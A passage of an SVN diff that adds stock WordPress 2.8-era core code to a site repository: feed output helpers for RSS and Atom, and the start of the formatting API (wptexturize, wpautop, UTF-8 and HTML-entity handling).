+	if ( is_wp_error( $title ) )
+		return $title->get_error_message();
+	$title = apply_filters('get_wp_title_rss', $title);
+	return $title;
+}
+
+/**
+ * Display the blog title for display of the feed title.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.2.0
+ * @uses apply_filters() Calls 'wp_title_rss' on the blog title.
+ * @see wp_title() $sep parameter usage.
+ *
+ * @param string $sep Optional.
+ */
+function wp_title_rss($sep = '&#187;') {
+	echo apply_filters('wp_title_rss', get_wp_title_rss($sep));
+}
+
+/**
+ * Retrieve the current post title for the feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'the_title_rss' on the post title.
+ *
+ * @return string Current post title.
+ */
+function get_the_title_rss() {
+	$title = get_the_title();
+	$title = apply_filters('the_title_rss', $title);
+	return $title;
+}
+
+/**
+ * Display the post title in the feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 0.71
+ * @uses get_the_title_rss() Used to retrieve current post title.
+ */
+function the_title_rss() {
+	echo get_the_title_rss();
+}
+
+/**
+ * Display the post content for the feed.
+ *
+ * For encoding the html or the $encode_html parameter, there are three possible
+ * values. '0' will make urls footnotes and use make_url_footnote(). '1' will
+ * encode special characters and automatically display all of the content. The
+ * value of '2' will strip all HTML tags from the content.
+ *
+ * Also note that you cannot set the amount of words and not set the html
+ * encoding. If that is the case, then the html encoding will default to 2,
+ * which will strip all HTML tags.
+ *
+ * To restrict the amount of words of the content, you can use the cut
+ * parameter. If the content is less than the amount, then there won't be any
+ * dots added to the end. If there is content left over, then dots will be added
+ * and the rest of the content will be removed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 0.71
+ * @uses apply_filters() Calls 'the_content_rss' on the content before processing.
+ * @see get_the_content() For the $more_link_text, $stripteaser, and $more_file
+ *		parameters.
+ *
+ * @param string $more_link_text Optional. Text to display when more content is available but not displayed.
+ * @param int|bool $stripteaser Optional. Default is 0.
+ * @param string $more_file Optional.
+ * @param int $cut Optional. Amount of words to keep for the content.
+ * @param int $encode_html Optional. How to encode the content.
+ */
+function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) {
+	$content = get_the_content($more_link_text, $stripteaser, $more_file);
+	$content = apply_filters('the_content_rss', $content);
+	if ( $cut && !$encode_html )
+		$encode_html = 2;
+	if ( 1== $encode_html ) {
+		$content = esc_html($content);
+		$cut = 0;
+	} elseif ( 0 == $encode_html ) {
+		$content = make_url_footnote($content);
+	} elseif ( 2 == $encode_html ) {
+		$content = strip_tags($content);
+	}
+	if ( $cut ) {
+		$blah = explode(' ', $content);
+		if ( count($blah) > $cut ) {
+			$k = $cut;
+			$use_dotdotdot = 1;
+		} else {
+			$k = count($blah);
+			$use_dotdotdot = 0;
+		}
+
+		/** @todo Check performance, might be faster to use array slice instead. */
+		for ( $i=0; $i<$k; $i++ )
+			$excerpt .= $blah[$i].' ';
+		$excerpt .= ($use_dotdotdot) ? '...' : '';
+		$content = $excerpt;
+	}
+	$content = str_replace(']]>', ']]&gt;', $content);
+	echo $content;
+}
+
+/**
+ * Display the post excerpt for the feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 0.71
+ * @uses apply_filters() Calls 'the_excerpt_rss' hook on the excerpt.
+ */
+function the_excerpt_rss() {
+	$output = get_the_excerpt();
+	echo apply_filters('the_excerpt_rss', $output);
+}
+
+/**
+ * Display the permalink to the post for use in feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.3.0
+ * @uses apply_filters() Call 'the_permalink_rss' on the post permalink
+ */
+function the_permalink_rss() {
+	echo apply_filters('the_permalink_rss', get_permalink());
+}
+
+/**
+ * Display the feed GUID for the current comment.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since unknown
+ *
+ * @param int|object $comment_id Optional comment object or id. Defaults to global comment object.
+ */
+function comment_guid($comment_id = null) {
+	echo get_comment_guid($comment_id);
+}
+
+/**
+ * Retrieve the feed GUID for the current comment.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since unknown
+ *
+ * @param int|object $comment_id Optional comment object or id. Defaults to global comment object.
+ * @return bool|string false on failure or guid for comment on success.
+ */
+function get_comment_guid($comment_id = null) {
+	$comment = get_comment($comment_id);
+
+	if ( !is_object($comment) )
+		return false;
+
+	return get_the_guid($comment->comment_post_ID) . '#comment-' . $comment->comment_ID;
+}
+
+/**
+ * Display the link to the comments.
+ *
+ * @since 1.5.0
+ */
+function comment_link() {
+	echo esc_url( get_comment_link() );
+}
+
+/**
+ * Retrieve the current comment author for use in the feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'comment_author_rss' hook on comment author.
+ * @uses get_comment_author()
+ *
+ * @return string Comment Author
+ */
+function get_comment_author_rss() {
+	return apply_filters('comment_author_rss', get_comment_author() );
+}
+
+/**
+ * Display the current comment author in the feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 1.0.0
+ */
+function comment_author_rss() {
+	echo get_comment_author_rss();
+}
+
+/**
+ * Display the current comment content for use in the feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 1.0.0
+ * @uses apply_filters() Calls 'comment_text_rss' filter on comment content.
+ * @uses get_comment_text()
+ */
+function comment_text_rss() {
+	$comment_text = get_comment_text();
+	$comment_text = apply_filters('comment_text_rss', $comment_text);
+	echo $comment_text;
+}
+
+/**
+ * Retrieve all of the post categories, formatted for use in feeds.
+ *
+ * All of the categories for the current post in the feed loop, will be
+ * retrieved and have feed markup added, so that they can easily be added to the
+ * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.1.0
+ * @uses apply_filters()
+ *
+ * @param string $type Optional, default is 'rss'. Either 'rss', 'atom', or 'rdf'.
+ * @return string All of the post categories for displaying in the feed.
+ */
+function get_the_category_rss($type = 'rss') {
+	$categories = get_the_category();
+	$tags = get_the_tags();
+	$the_list = '';
+	$cat_names = array();
+
+	$filter = 'rss';
+	if ( 'atom' == $type )
+		$filter = 'raw';
+
+	if ( !empty($categories) ) foreach ( (array) $categories as $category ) {
+		$cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter);
+	}
+
+	if ( !empty($tags) ) foreach ( (array) $tags as $tag ) {
+		$cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter);
+	}
+
+	$cat_names = array_unique($cat_names);
+
+	foreach ( $cat_names as $cat_name ) {
+		if ( 'rdf' == $type )
+			$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
+		elseif ( 'atom' == $type )
+			$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( apply_filters( 'get_bloginfo_rss', get_bloginfo( 'url' ) ) ), esc_attr( $cat_name ) );
+		else
+			$the_list .= "\t\t<category><![CDATA[" . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . "]]></category>\n";
+	}
+
+	return apply_filters('the_category_rss', $the_list, $type);
+}
+
+/**
+ * Display the post categories in the feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 0.71
+ * @see get_the_category_rss() For better explanation.
+ *
+ * @param string $type Optional, default is 'rss'. Either 'rss', 'atom', or 'rdf'.
+ */
+function the_category_rss($type = 'rss') {
+	echo get_the_category_rss($type);
+}
+
+/**
+ * Display the HTML type based on the blog setting.
+ *
+ * The two possible values are either 'xhtml' or 'html'.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.2.0
+ */
+function html_type_rss() {
+	$type = get_bloginfo('html_type');
+	if (strpos($type, 'xhtml') !== false)
+		$type = 'xhtml';
+	else
+		$type = 'html';
+	echo $type;
+}
+
+/**
+ * Display the rss enclosure for the current post.
+ *
+ * Uses the global $post to check whether the post requires a password and if
+ * the user has the password for the post. If not then it will return before
+ * displaying.
+ *
+ * Also uses the function get_post_custom() to get the post's 'enclosure'
+ * metadata field and parses the value to display the enclosure(s). The
+ * enclosure(s) consist of enclosure HTML tag(s) with a URI and other
+ * attributes.
+ *
+ * @package WordPress
+ * @subpackage Template
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'rss_enclosure' hook on rss enclosure.
+ * @uses get_post_custom() To get the current post enclosure metadata.
+ */
+function rss_enclosure() {
+	if ( post_password_required() )
+		return;
+
+	foreach ( (array) get_post_custom() as $key => $val) {
+		if ($key == 'enclosure') {
+			foreach ( (array) $val as $enc ) {
+				$enclosure = explode("\n", $enc);
+
+				//only get the the first element eg, audio/mpeg from 'audio/mpeg mpga mp2 mp3'
+				$t = preg_split('/[ \t]/', trim($enclosure[2]) );
+				$type = $t[0];
+
+				echo apply_filters('rss_enclosure', '<enclosure url="' . trim(htmlspecialchars($enclosure[0])) . '" length="' . trim($enclosure[1]) . '" type="' . $type . '" />' . "\n");
+			}
+		}
+	}
+}
+
+/**
+ * Display the atom enclosure for the current post.
+ *
+ * Uses the global $post to check whether the post requires a password and if
+ * the user has the password for the post. If not then it will return before
+ * displaying.
+ *
+ * Also uses the function get_post_custom() to get the post's 'enclosure'
+ * metadata field and parses the value to display the enclosure(s). The
+ * enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
+ *
+ * @package WordPress
+ * @subpackage Template
+ * @since 2.2.0
+ * @uses apply_filters() Calls 'atom_enclosure' hook on atom enclosure.
+ * @uses get_post_custom() To get the current post enclosure metadata.
+ */
+function atom_enclosure() {
+	if ( post_password_required() )
+		return;
+
+	foreach ( (array) get_post_custom() as $key => $val ) {
+		if ($key == 'enclosure') {
+			foreach ( (array) $val as $enc ) {
+				$enclosure = split("\n", $enc);
+				echo apply_filters('atom_enclosure', '<link href="' . trim(htmlspecialchars($enclosure[0])) . '" rel="enclosure" length="' . trim($enclosure[1]) . '" type="' . trim($enclosure[2]) . '" />' . "\n");
+			}
+		}
+	}
+}
+
+/**
+ * Determine the type of a string of data with the data formatted.
+ *
+ * Tell whether the type is text, html, or xhtml, per RFC 4287 section 3.1.
+ *
+ * In the case of WordPress, text is defined as containing no markup,
+ * xhtml is defined as "well formed", and html as tag soup (i.e., the rest).
+ *
+ * Container div tags are added to xhtml values, per section 3.1.1.3.
+ *
+ * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.5
+ *
+ * @param string $data Input string
+ * @return array array(type, value)
+ */
+function prep_atom_text_construct($data) {
+	if (strpos($data, '<') === false && strpos($data, '&') === false) {
+		return array('text', $data);
+	}
+
+	$parser = xml_parser_create();
+	xml_parse($parser, '<div>' . $data . '</div>', true);
+	$code = xml_get_error_code($parser);
+	xml_parser_free($parser);
+
+	if (!$code) {
+		if (strpos($data, '<') === false) {
+			return array('text', $data);
+		} else {
+			$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
+			return array('xhtml', $data);
+		}
+	}
+
+	if (strpos($data, ']]>') == false) {
+		return array('html', "<![CDATA[$data]]>");
+	} else {
+		return array('html', htmlspecialchars($data));
+	}
+}
+
+/**
+ * Display the link for the currently displayed feed in a XSS safe way.
+ *
+ * Generate a correct link for the atom:self element.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.5
+ */
+function self_link() {
+	$host = @parse_url(get_option('home'));
+	$host = $host['host'];
+	echo esc_url(
+		'http'
+		. ( (isset($_SERVER['https']) && $_SERVER['https'] == 'on') ? 's' : '' ) . '://'
+		. $host
+		. stripslashes($_SERVER['REQUEST_URI'])
+		);
+}
+
+/**
+ * Return the content type for specified feed type.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.8.0
+ */
+function feed_content_type( $type = '' ) {
+	if ( empty($type) )
+		$type = get_default_feed();
+
+	$types = array(
+		'rss'  => 'application/rss+xml',
+		'rss2' => 'application/rss+xml',
+		'rss-http'  => 'text/xml',
+		'atom' => 'application/atom+xml',
+		'rdf'  => 'application/rdf+xml'
+	);
+
+	$content_type = ( !empty($types[$type]) ) ? $types[$type] : 'application/octet-stream';
+
+	return apply_filters( 'feed_content_type', $content_type, $type );
+}
+
+/**
+ * Build SimplePie object based on RSS or Atom feed from URL.
+ *
+ * @since 2.8
+ *
+ * @param string $url URL to retrieve feed
+ * @return WP_Error|SimplePie WP_Error object on failure or SimplePie object on success
+ */
+function fetch_feed($url) {
+	require_once (ABSPATH . WPINC . '/class-feed.php');
+
+	$feed = new SimplePie();
+	$feed->set_feed_url($url);
+	$feed->set_cache_class('WP_Feed_Cache');
+	$feed->set_file_class('WP_SimplePie_File');
+	$feed->set_cache_duration(apply_filters('wp_feed_cache_transient_lifetime', 43200));
+	$feed->init();
+	$feed->handle_content_type();
+
+	if ( $feed->error() )
+		return new WP_Error('simplepie-error', $feed->error());
+
+	return $feed;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/formatting.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/formatting.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/formatting.php	(revision 44)
@@ -0,0 +1,2676 @@
+<?php
+/**
+ * Main Wordpress Formatting API.
+ *
+ * Handles many functions for formatting output.
+ *
+ * @package WordPress
+ **/
+
+/**
+ * Replaces common plain text characters into formatted entities
+ *
+ * As an example,
+ * <code>
+ * 'cause today's effort makes it worth tomorrow's "holiday"...
+ * </code>
+ * Becomes:
+ * <code>
+ * &#8217;cause today&#8217;s effort makes it worth tomorrow&#8217;s &#8220;holiday&#8221;&#8230;
+ * </code>
+ * Code within certain html blocks are skipped.
+ *
+ * @since 0.71
+ * @uses $wp_cockneyreplace Array of formatted entities for certain common phrases
+ *
+ * @param string $text The text to be formatted
+ * @return string The string replaced with html entities
+ */
+function wptexturize($text) {
+	global $wp_cockneyreplace;
+	$output = '';
+	$curl = '';
+	$textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
+	$stop = count($textarr);
+	
+	/* translators: opening curly quote */
+	$opening_quote = _x('&#8220;', 'opening curly quote');
+	/* translators: closing curly quote */
+	$closing_quote = _x('&#8221;', 'closing curly quote');
+	
+	$no_texturize_tags = apply_filters('no_texturize_tags', array('pre', 'code', 'kbd', 'style', 'script', 'tt'));
+	$no_texturize_shortcodes = apply_filters('no_texturize_shortcodes', array('code'));
+	$no_texturize_tags_stack = array();
+	$no_texturize_shortcodes_stack = array();
+
+	// if a plugin has provided an autocorrect array, use it
+	if ( isset($wp_cockneyreplace) ) {
+		$cockney = array_keys($wp_cockneyreplace);
+		$cockneyreplace = array_values($wp_cockneyreplace);
+	} else {
+		$cockney = array("'tain't","'twere","'twas","'tis","'twill","'til","'bout","'nuff","'round","'cause");
+		$cockneyreplace = array("&#8217;tain&#8217;t","&#8217;twere","&#8217;twas","&#8217;tis","&#8217;twill","&#8217;til","&#8217;bout","&#8217;nuff","&#8217;round","&#8217;cause");
+	}
+
+	$static_characters = array_merge(array('---', ' -- ', '--', ' - ', 'xn&#8211;', '...', '``', '\'s', '\'\'', ' (tm)'), $cockney);
+	$static_replacements = array_merge(array('&#8212;', ' &#8212; ', '&#8211;', ' &#8211; ', 'xn--', '&#8230;', $opening_quote, '&#8217;s', $closing_quote, ' &#8482;'), $cockneyreplace);
+
+	$dynamic_characters = array('/\'(\d\d(?:&#8217;|\')?s)/', '/(\s|\A|")\'/', '/(\d+)"/', '/(\d+)\'/', '/(\S)\'([^\'\s])/', '/(\s|\A)"(?!\s)/', '/"(\s|\S|\Z)/', '/\'([\s.]|\Z)/', '/(\d+)x(\d+)/');
+	$dynamic_replacements = array('&#8217;$1','$1&#8216;', '$1&#8243;', '$1&#8242;', '$1&#8217;$2', '$1' . $opening_quote . '$2', $closing_quote . '$1', '&#8217;$1', '$1&#215;$2');
+
+	for ( $i = 0; $i < $stop; $i++ ) {
+		$curl = $textarr[$i];
+
+		if ( !empty($curl) && '<' != $curl{0} && '[' != $curl{0}
+				&& empty($no_texturize_shortcodes_stack) && empty($no_texturize_tags_stack)) { // If it's not a tag
+			// static strings
+			$curl = str_replace($static_characters, $static_replacements, $curl);
+			// regular expressions
+			$curl = preg_replace($dynamic_characters, $dynamic_replacements, $curl);
+		} else {
+			wptexturize_pushpop_element($curl, $no_texturize_tags_stack, $no_texturize_tags, '<', '>');
+			wptexturize_pushpop_element($curl, $no_texturize_shortcodes_stack, $no_texturize_shortcodes, '[', ']');
+		}
+
+		$curl = preg_replace('/&([^#])(?![a-zA-Z1-4]{1,8};)/', '&#038;$1', $curl);
+		$output .= $curl;
+	}
+
+	return $output;
+}
+
+function wptexturize_pushpop_element($text, &$stack, $disabled_elements, $opening = '<', $closing = '>') {
+	$o = preg_quote($opening, '/');
+	$c = preg_quote($closing, '/');
+	foreach($disabled_elements as $element) {
+		if (preg_match('/^'.$o.$element.'\b/', $text)) array_push($stack, $element);
+		if (preg_match('/^'.$o.'\/'.$element.$c.'/', $text)) {
+			$last = array_pop($stack);
+			// disable texturize until we find a closing tag of our type (e.g. <pre>)
+			// even if there was invalid nesting before that
+			// Example: in the case <pre>sadsadasd</code>"baba"</pre> "baba" won't be texturized
+			if ($last != $element) array_push($stack, $last);
+		}
+	}
+}
+
+/**
+ * Accepts matches array from preg_replace_callback in wpautop() or a string.
+ *
+ * Ensures that the contents of a <<pre>>...<</pre>> HTML block are not
+ * converted into paragraphs or line-breaks.
+ *
+ * @since 1.2.0
+ *
+ * @param array|string $matches The array or string
+ * @return string The pre block without paragraph/line-break conversion.
+ */
+function clean_pre($matches) {
+	if ( is_array($matches) )
+		$text = $matches[1] . $matches[2] . "</pre>";
+	else
+		$text = $matches;
+
+	$text = str_replace('<br />', '', $text);
+	$text = str_replace('<p>', "\n", $text);
+	$text = str_replace('</p>', '', $text);
+
+	return $text;
+}
+
+/**
+ * Replaces double line-breaks with paragraph elements.
+ *
+ * A group of regex replaces used to identify text formatted with newlines and
+ * replace double line-breaks with HTML paragraph tags. The remaining
+ * line-breaks after conversion become <<br />> tags, unless $br is set to '0'
+ * or 'false'.
+ *
+ * @since 0.71
+ *
+ * @param string $pee The text which has to be formatted.
+ * @param int|bool $br Optional. If set, this will convert all remaining line-breaks after paragraphing. Default true.
+ * @return string Text which has been converted into correct paragraph tags.
+ */
+function wpautop($pee, $br = 1) {
+	if ( trim($pee) === '' )
+		return '';
+	$pee = $pee . "\n"; // just to make things a little easier, pad the end
+	$pee = preg_replace('|<br />\s*<br />|', "\n\n", $pee);
+	// Space things out a little
+	$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr)';
+	$pee = preg_replace('!(<' . $allblocks . '[^>]*>)!', "\n$1", $pee);
+	$pee = preg_replace('!(</' . $allblocks . '>)!', "$1\n\n", $pee);
+	$pee = str_replace(array("\r\n", "\r"), "\n", $pee); // cross-platform newlines
+	if ( strpos($pee, '<object') !== false ) {
+		$pee = preg_replace('|\s*<param([^>]*)>\s*|', "<param$1>", $pee); // no pee inside object/embed
+		$pee = preg_replace('|\s*</embed>\s*|', '</embed>', $pee);
+	}
+	$pee = preg_replace("/\n\n+/", "\n\n", $pee); // take care of duplicates
+	// make paragraphs, including one at the end
+	$pees = preg_split('/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);
+	$pee = '';
+	foreach ( $pees as $tinkle )
+		$pee .= '<p>' . trim($tinkle, "\n") . "</p>\n";
+	$pee = preg_replace('|<p>\s*</p>|', '', $pee); // under certain strange conditions it could create a P of entirely whitespace
+	$pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', "<p>$1</p></$2>", $pee);
+	$pee = preg_replace('!<p>\s*(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee); // don't pee all over a tag
+	$pee = preg_replace("|<p>(<li.+?)</p>|", "$1", $pee); // problem with nested lists
+	$pee = preg_replace('|<p><blockquote([^>]*)>|i', "<blockquote$1><p>", $pee);
+	$pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);
+	$pee = preg_replace('!<p>\s*(</?' . $allblocks . '[^>]*>)!', "$1", $pee);
+	$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee);
+	if ($br) {
+		$pee = preg_replace_callback('/<(script|style).*?<\/\\1>/s', create_function('$matches', 'return str_replace("\n", "<WPPreserveNewline />", $matches[0]);'), $pee);
+		$pee = preg_replace('|(?<!<br />)\s*\n|', "<br />\n", $pee); // optionally make line breaks
+		$pee = str_replace('<WPPreserveNewline />', "\n", $pee);
+	}
+	$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\s*<br />!', "$1", $pee);
+	$pee = preg_replace('!<br />(\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);
+	if (strpos($pee, '<pre') !== false)
+		$pee = preg_replace_callback('!(<pre[^>]*>)(.*?)</pre>!is', 'clean_pre', $pee );
+	$pee = preg_replace( "|\n</p>$|", '</p>', $pee );
+	$pee = preg_replace('/<p>\s*?(' . get_shortcode_regex() . ')\s*<\/p>/s', '$1', $pee); // don't auto-p wrap shortcodes that stand alone
+
+	return $pee;
+}
+
+/**
+ * Checks to see if a string is utf8 encoded.
+ *
+ * NOTE: This function checks for 5-Byte sequences, UTF8
+ *       has Bytes Sequences with a maximum length of 4.
+ *
+ * @author bmorel at ssi dot fr (modified)
+ * @since 1.2.1
+ *
+ * @param string $str The string to be checked
+ * @return bool True if $str fits a UTF-8 model, false otherwise.
+ */
+function seems_utf8($str) {
+	$length = strlen($str);
+	for ($i=0; $i < $length; $i++) {
+		$c = ord($str[$i]);
+		if ($c < 0x80) $n = 0; # 0bbbbbbb
+		elseif (($c & 0xE0) == 0xC0) $n=1; # 110bbbbb
+		elseif (($c & 0xF0) == 0xE0) $n=2; # 1110bbbb
+		elseif (($c & 0xF8) == 0xF0) $n=3; # 11110bbb
+		elseif (($c & 0xFC) == 0xF8) $n=4; # 111110bb
+		elseif (($c & 0xFE) == 0xFC) $n=5; # 1111110b
+		else return false; # Does not match any model
+		for ($j=0; $j<$n; $j++) { # n bytes matching 10bbbbbb follow ?
+			if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80))
+				return false;
+		}
+	}
+	return true;
+}
+
+/**
+ * Converts a number of special characters into their HTML entities.
+ *
+ * Specifically deals with: &, <, >, ", and '.
+ *
+ * $quote_style can be set to ENT_COMPAT to encode " to
+ * &quot;, or ENT_QUOTES to do both. Default is ENT_NOQUOTES where no quotes are encoded.
+ *
+ * @since 1.2.2
+ *
+ * @param string $string The text which is to be encoded.
+ * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES.
+ * @param string $charset Optional. The character encoding of the string. Default is false.
+ * @param boolean $double_encode Optional. Whether or not to encode existing html entities. Default is false.
+ * @return string The encoded text with HTML entities.
+ */
+function _wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Don't bother if there are no specialchars - saves some processing
+	if ( !preg_match( '/[&<>"\']/', $string ) ) {
+		return $string;
+	}
+
+	// Account for the previous behaviour of the function when the $quote_style is not an accepted value
+	if ( empty( $quote_style ) ) {
+		$quote_style = ENT_NOQUOTES;
+	} elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) {
+		$quote_style = ENT_QUOTES;
+	}
+
+	// Store the site charset as a static to avoid multiple calls to wp_load_alloptions()
+	if ( !$charset ) {
+		static $_charset;
+		if ( !isset( $_charset ) ) {
+			$alloptions = wp_load_alloptions();
+			$_charset = isset( $alloptions['blog_charset'] ) ? $alloptions['blog_charset'] : '';
+		}
+		$charset = $_charset;
+	}
+	if ( in_array( $charset, array( 'utf8', 'utf-8', 'UTF8' ) ) ) {
+		$charset = 'UTF-8';
+	}
+
+	$_quote_style = $quote_style;
+
+	if ( $quote_style === 'double' ) {
+		$quote_style = ENT_COMPAT;
+		$_quote_style = ENT_COMPAT;
+	} elseif ( $quote_style === 'single' ) {
+		$quote_style = ENT_NOQUOTES;
+	}
+
+	// Handle double encoding ourselves
+	if ( !$double_encode ) {
+		$string = wp_specialchars_decode( $string, $_quote_style );
+		$string = preg_replace( '/&(#?x?[0-9a-z]+);/i', '|wp_entity|$1|/wp_entity|', $string );
+	}
+
+	$string = @htmlspecialchars( $string, $quote_style, $charset );
+
+	// Handle double encoding ourselves
+	if ( !$double_encode ) {
+		$string = str_replace( array( '|wp_entity|', '|/wp_entity|' ), array( '&', ';' ), $string );
+	}
+
+	// Backwards compatibility
+	if ( 'single' === $_quote_style ) {
+		$string = str_replace( "'", '&#039;', $string );
+	}
+
+	return $string;
+}
+
+/**
+ * Converts a number of HTML entities into their special characters.
+ *
+ * Specifically deals with: &, <, >, ", and '.
+ *
+ * $quote_style can be set to ENT_COMPAT to decode " entities,
+ * or ENT_QUOTES to do both " and '. Default is ENT_NOQUOTES where no quotes are decoded.
+ *
+ * @since 2.8
+ *
+ * @param string $string The text which is to be decoded.
+ * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old _wp_specialchars() values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES.
+ * @return string The decoded text without HTML entities.
+ */
+function wp_specialchars_decode( $string, $quote_style = ENT_NOQUOTES ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Don't bother if there are no entities - saves a lot of processing
+	if ( strpos( $string, '&' ) === false ) {
+		return $string;
+	}
+
+	// Match the previous behaviour of _wp_specialchars() when the $quote_style is not an accepted value
+	if ( empty( $quote_style ) ) {
+		$quote_style = ENT_NOQUOTES;
+	} elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) {
+		$quote_style = ENT_QUOTES;
+	}
+
+	// More complete than get_html_translation_table( HTML_SPECIALCHARS )
+	$single = array( '&#039;'  => '\'', '&#x27;' => '\'' );
+	$single_preg = array( '/&#0*39;/'  => '&#039;', '/&#x0*27;/i' => '&#x27;' );
+	$double = array( '&quot;' => '"', '&#034;'  => '"', '&#x22;' => '"' );
+	$double_preg = array( '/&#0*34;/'  => '&#034;', '/&#x0*22;/i' => '&#x22;' );
+	$others = array( '&lt;'   => '<', '&#060;'  => '<', '&gt;'   => '>', '&#062;'  => '>', '&amp;'  => '&', '&#038;'  => '&', '&#x26;' => '&' );
+	$others_preg = array( '/&#0*60;/'  => '&#060;', '/&#0*62;/'  => '&#062;', '/&#0*38;/'  => '&#038;', '/&#x0*26;/i' => '&#x26;' );
+
+	if ( $quote_style === ENT_QUOTES ) {
+		$translation = array_merge( $single, $double, $others );
+		$translation_preg = array_merge( $single_preg, $double_preg, $others_preg );
+	} elseif ( $quote_style === ENT_COMPAT || $quote_style === 'double' ) {
+		$translation = array_merge( $double, $others );
+		$translation_preg = array_merge( $double_preg, $others_preg );
+	} elseif ( $quote_style === 'single' ) {
+		$translation = array_merge( $single, $others );
+		$translation_preg = array_merge( $single_preg, $others_preg );
+	} elseif ( $quote_style === ENT_NOQUOTES ) {
+		$translation = $others;
+		$translation_preg = $others_preg;
+	}
+
+	// Remove zero padding on numeric entities
+	$string = preg_replace( array_keys( $translation_preg ), array_values( $translation_preg ), $string );
+
+	// Replace characters according to translation table
+	return strtr( $string, $translation );
+}
+
+/**
+ * Checks for invalid UTF8 in a string.
+ *
+ * @since 2.8
+ *
+ * @param string $string The text which is to be checked.
+ * @param boolean $strip Optional. Whether to attempt to strip out invalid UTF8. Default is false.
+ * @return string The checked text.
+ */
+function wp_check_invalid_utf8( $string, $strip = false ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Store the site charset as a static to avoid multiple calls to get_option()
+	static $is_utf8;
+	if ( !isset( $is_utf8 ) ) {
+		$is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );
+	}
+	if ( !$is_utf8 ) {
+		return $string;
+	}
+
+	// Check for support for utf8 in the installed PCRE library once and store the result in a static
+	static $utf8_pcre;
+	if ( !isset( $utf8_pcre ) ) {
+		$utf8_pcre = @preg_match( '/^./u', 'a' );
+	}
+	// We can't demand utf8 in the PCRE installation, so just return the string in those cases
+	if ( !$utf8_pcre ) {
+		return $string;
+	}
+
+	// preg_match fails when it encounters invalid UTF8 in $string
+	if ( 1 === @preg_match( '/^./us', $string ) ) {
+		return $string;
+	}
+
+	// Attempt to strip the bad chars if requested (not recommended)
+	if ( $strip && function_exists( 'iconv' ) ) {
+		return iconv( 'utf-8', 'utf-8', $string );
+	}
+
+	return '';
+}
+
+/**
+ * Encode the Unicode values to be used in the URI.
+ *
+ * @since 1.5.0
+ *
+ * @param string $utf8_string
+ * @param int $length Max length of the string
+ * @return string String with Unicode encoded for URI.
+ */
+function utf8_uri_encode( $utf8_string, $length = 0 ) {
+	$unicode = '';
+	$values = array();
+	$num_octets = 1;
+	$unicode_length = 0;
+
+	$string_length = strlen( $utf8_string );
+	for ($i = 0; $i < $string_length; $i++ ) {
+
+		$value = ord( $utf8_string[ $i ] );
+
+		if ( $value < 128 ) {
+			if ( $length && ( $unicode_length >= $length ) )
+				break;
+			$unicode .= chr($value);
